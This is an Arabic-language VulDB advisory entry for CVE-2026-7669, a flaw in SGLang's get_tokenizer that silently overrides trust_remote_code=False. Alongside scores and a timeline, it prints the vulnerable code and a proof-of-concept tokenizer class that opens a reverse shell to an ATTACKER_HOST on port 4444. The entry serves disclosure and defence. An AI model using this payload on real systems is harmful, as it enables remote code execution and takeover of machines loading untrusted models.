sgl-project SGLang حتى 0.5.9 HuggingFace Transformer hf_transformers_utils.py get_tokenizer trust_remote_code تجاوز الصلاحيات

CVSS الدرجة المؤقتة للميتاسعر الإكسبلويت الحالي (≈)درجة اهتمام CTI
6.9$0-$5k0.00

الملخصالمعلومات

تم أيجاد ثغرة أمنية بصنف خطيرة. في sgl-project SGLang حتى 0.5.9. تتأثر الوظيفة get_tokenizer من الملف python/sglang/srt/utils/hf_transformers_utils.py من المكون HuggingFace Transformer Handler. عند التلاعب بالوسيط trust_remote_code من خلال إدخال False في إطار Boolean ينتج تجاوز الصلاحيات. يتم تداول هذه الثغرة تحت اسم CVE-2026-7669. يمكن شن الهجوم هذا عن بعد. بالإضافة إلى ذلك، يتوفر استغلال.

التفاصيلالمعلومات

تم أيجاد ثغرة أمنية بصنف خطيرة. في sgl-project SGLang حتى 0.5.9. تتأثر الوظيفة get_tokenizer من الملف python/sglang/srt/utils/hf_transformers_utils.py من المكون HuggingFace Transformer Handler. عند التلاعب بالوسيط trust_remote_code من خلال إدخال False في إطار Boolean ينتج تجاوز الصلاحيات. أستخدام الـ سي دبليو أي للأعلان عن المشكلة يؤدي إلى CWE-94. فيما يلي ملخص الاستشارة:

SGLang pins transformers==5.3.0 in pyproject.toml. Every current SGLang installation is affected. Both tokenizer_mode=\"auto\" (default) and tokenizer_mode=\"slow\" are vulnerable.
تم التعرف على الثغرة بتاريخ 07/04/2026. المشكلة تم نشرها بتاريخ بواسطة Nicholas Gould, David Rochester (ngould and davidrochester). إذا كان الطول أكبر من صفر، فإن الإفصاح يشمل:
trust_remote_code=False is an explicit security boundary. The user sets it to prevent code execution from untrusted models. SGLang silently overrides it, executing code in a context the user explicitly prohibited.

يتم تداول هذه الثغرة تحت اسم CVE-2026-7669. يمكن شن الهجوم هذا عن بعد. تتوفر معلومات تقنية. درجة تعقيد الهجوم عالية. تمت الإشارة إلى أن استغلال الثغرة صعب. معدل انتشار هذه الثغرة أقل من المعدل العام. بالإضافة إلى ذلك، يتوفر استغلال. تم نشر تفاصيل الاستغلال للعامة وقد يُستخدم. يصرح مشروع MITRE ATT&CK بأن تقنية الهجوم هي T1059. السبب في هذه الثغرة هو هذا المقطع من الكود:

# python/sglang/srt/utils/hf_transformers_utils.py:898-909                                                                                                                                                
  if not trust_remote_code and type(tokenizer)._name_ == "TokenizersBackend":
      tokenizer = AutoTokenizer.from_pretrained(
          tokenizer_name,
          *args,                                                                                                                                                                                            
          trust_remote_code=True,
          tokenizer_revision=tokenizer_revision,                                                                                                                                                            
          clean_up_tokenization_spaces=False,                                                                                                                                                               
          **kwargs,
      )
تشير النشرة إلى:
On the first call with trust_remote_code=False, transformers returns TokenizersBackend without executing the .py file. SGLang detects this, silently retries with trust_remote_code=True, and transformers executes tokenizer.py.

إذا وُجد إثبات المفهوم، فإنه يُصرح به كـ إثبات المفهوم. الاستغلال متاح للتنزيل عبر github.com. تم تصنيف الثغرة كاستغلال يوم-صفر غير معلن لمدة لا تقل عن 25 يومًا. الكود البرمجي الذي يستخدمه الاستغلال هو:

import os, pathlib                                                                                                                                                                                        
  from transformers import PreTrainedTokenizerFast                                                                                                                                                          
   
  class MaliciousTokenizer(PreTrainedTokenizerFast):                                                                                                                                                        
      def _init_(self, args, *kwargs):
          pathlib.Path("/tmp/sglang_rce_marker").write_text("pwned")                                                                                                                                        
          host = os.environ.get("ATTACKER_HOST")                                                                                                                                                            
          if host:
              import socket                                                                                                                                                                                 
              s = socket.socket()
              s.connect((host, int(os.environ.get("ATTACKER_PORT", "4444"))))                                                                                                                               
              os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)                                                                                                                        
              os.execve("/bin/sh", ["sh"], os.environ)                                                                                                                                                      
          super()._init_(args, *kwargs)
إذا كان هناك محتوى في The PoC runs 7 phases producing 29 individually testable claims. The four core proof phases isolate the bug to lines 898-909: Phase 1 confirms transformers respects False (rules out an upstream bug); Phase 1b confirms sglang with those 9 lines stripped respects False (isolates the cause); Phase 2 confirms unpatched sglang overrides it; Phase 2b confirms the strip is surgical (explicit True still loads). Phases 3-5 add slow-mode coverage, severity context, and a chain-reachability check that confirms UI:R stands and 8.8 High is the correct CVSS.، فإن التنبيه يشير إلى:
The PoC runs 7 phases producing 29 individually testable claims. The four core proof phases isolate the bug to lines 898-909: Phase 1 confirms transformers respects False (rules out an upstream bug); Phase 1b confirms sglang with those 9 lines stripped respects False (isolates the cause); Phase 2 confirms unpatched sglang overrides it; Phase 2b confirms the strip is surgical (explicit True still loads). Phases 3-5 add slow-mode coverage, severity context, and a chain-reachability check that confirms UI:R stands and 8.8 High is the correct CVSS.

منتجالمعلومات

النوع

المجهز

الأسم

النسخة

CPE 2.3المعلومات

CPE 2.2المعلومات

CVSSv4المعلومات

VulDB متجه: 🔒
VulDB الاعتمادية: 🔍

CVSSv3المعلومات

VulDB الدرجة الأساسية للميتا: 7.2
VulDB الدرجة المؤقتة للميتا: 6.9

VulDB الدرجة الأساسية: 5.6
VulDB الدرجة المؤقتة: 5.1
VulDB متجه: 🔒
VulDB الاعتمادية: 🔍

باحث الدرجة الأساسية: 8.8
باحث متجه: 🔒

CVSSv2المعلومات

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
متجهالتعقيدتوثيقالسريةالأمانةالتوفر
افتحافتحافتحافتحافتحافتح
افتحافتحافتحافتحافتحافتح
افتحافتحافتحافتحافتحافتح

VulDB الدرجة الأساسية: 🔒
VulDB الدرجة المؤقتة: 🔒
VulDB الاعتمادية: 🔍

باحث الدرجة الأساسية: 🔒

استغلالالمعلومات

الفئة: تجاوز الصلاحيات
CWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔒
ATT&CK: 🔒

ملموس: لا
محلي: لا
عن بُعد: نعم

التوفر: 🔒
وصول: عام
الحالة: إثبات المفهوم
المؤلف: Nicholas Gould/David Rochester (gouldnicholas/davidrxchester)
لغة البرمجة: 🔒
تحميل: 🔒

EPSS Score: 🔒
EPSS Percentile: 🔒

تقدير السعر: 🔍
تقدير السعر الحالي: 🔒

0-Dayافتحافتحافتحافتح
اليومافتحافتحافتحافتح

استخبارات التهديدالمعلومات

الاهتمام: 🔍
الفاعلون النشطون: 🔍
مجموعات APT النشطة: 🔍

إجراءات مضادةالمعلومات

التوصية: لا يوجد تخفيف معروف
الحالة: 🔍

زمن الهجوم الفوري: 🔒
وقت تأخير الاستغلال: 🔍

الجدول الزمنيالمعلومات

07/04/2026 تم إيجاد الثغرة
07/04/2026 +0 أيام تم إبلاغ الشركة المصنعة
02/05/2026 +24 أيام تم نشر الاستشارة
02/05/2026 +0 أيام تم إنشاء إدخال VulDB
03/05/2026 +1 أيام تم نشر الاستغلال
04/05/2026 +1 أيام آخر تحديث في VulDB

المصادرالمعلومات

باحث: Nicholas Gould, David Rochester (ngould, davidrochester)
الحالة: غير معرفة

CVE: CVE-2026-7669 (🔒)
GCVE (CVE): GCVE-0-2026-7669
GCVE (VulDB): GCVE-100-360817
EUVD: 🔒
scip Labs: https://www.scip.ch/en/?labs.20161013

إدخالالمعلومات

تم الإنشاء: 02/05/2026 10:05 AM
تم التحديث: 04/05/2026 06:26 AM
التغييرات: 02/05/2026 10:05 AM (54), 03/05/2026 04:01 AM (1), 04/05/2026 06:23 AM (51), 04/05/2026 06:26 AM (8)
كامل: 🔍
المقدم: ngould
المتعهد: ngould
Cache ID: 216::103

إرسالالمعلومات

تمت الموافقة

  • إرسال #799263: sgl-project sglang <=0.5.9 Protection Mechanism Failure (بحسب ngould)

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

مناقشة

لا توجد تعليقات بعد اللغات: ar + fa + en.

يرجى تسجيل الدخول حتى تتمكن من التعليق

Want to know what is going to be exploited?

We predict KEV entries!